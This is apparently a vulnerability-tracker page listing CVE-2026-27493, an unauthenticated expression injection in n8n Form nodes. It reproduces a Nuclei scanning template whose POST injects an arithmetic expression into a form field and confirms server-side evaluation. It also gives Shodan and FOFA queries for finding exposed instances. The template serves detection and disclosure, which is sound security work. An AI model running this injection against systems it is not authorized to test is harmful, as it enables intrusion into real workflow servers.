CVE-2026-27493: n8n < 1.123.22 - Unauthenticated Expression Injection via Form Node

2026-11-29 PoC Public

Description

n8n before 1.123.22 (and 2.x before 2.9.3 / 2.10.1) contains a second-order expression injection in Form nodes. When a Form node HTML field interpolates a submitted value, the already-resolved value is scanned for expressions again and evaluated, so a submitted value such as {{1337*7}} is evaluated by the server. Point the scan target at a published form URL (for example http://host/form/<id>).

Details

CVE
CVE-2026-27493 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-27493

info:
  name: n8n < 1.123.22 - Unauthenticated Expression Injection via Form Node
  author: DhiyaneshDk
  severity: critical
  description: |
    n8n before 1.123.22 (and 2.x before 2.9.3 / 2.10.1) contains a second-order expression injection in Form nodes. When a Form node HTML field interpolates a submitted value, the already-resolved value is scanned for expressions again and evaluated, so a submitted value such as {{1337*7}} is evaluated by the server. Point the scan target at a published form URL (for example http://host/form/<id>).
  impact: |
    An unauthenticated attacker can inject and evaluate arbitrary n8n expressions through a published Form workflow.
  remediation: |
    Upgrade to n8n 1.123.22, 2.9.3, 2.10.1 or later.
  reference:
    - https://github.com/n8n-io/n8n/security/advisories/GHSA-75g8-rv7v-32f7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27493
    - https://github.com/n8n-io/n8n/commit/562d867483e871b0f1e31776252e23bd721df75b
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2026-27493
    epss-score: 0.05828
    epss-percentile: 0.93937
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: n8n
    product: n8n
    shodan-query: http.title:"n8n.io - Workflow Automation"
    fofa-query: title="n8n.io - Workflow Automation"
  tags: cve,cve2026,n8n,rce,injection,unauth,vuln

variables:
  boundary: "{{rand_text_alphanumeric(16)}}"
  marker: "{{rand_text_alphanumeric(8)}}"
  a: "{{rand_int(100, 999)}}"
  b: "{{rand_int(100, 999)}}"
  result: "{{to_number(a)*to_number(b)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="field-0"

        {{marker}}{{url_decode("%7B%7B")}}{{a}}*{{b}}}}
        --{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "formWaitingUrl")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: waiting
        part: body
        internal: true
        group: 1
        regex:
          - '"formWaitingUrl":"https?://[^/]+(/form-waiting/[0-9]+)"'

  - method: GET
    path:
      - "{{RootURL}}{{waiting}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, marker + result)'
        condition: and
# digest: 4a0a004730450220318ddedd5fe603c0f02109b7e3e61ba094e34fc26aa77854c59a3cd90fd835970221008df587c1d7d1b101dc8083422b5879516f6dad229da1c2a25aa7fb572fce2850:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life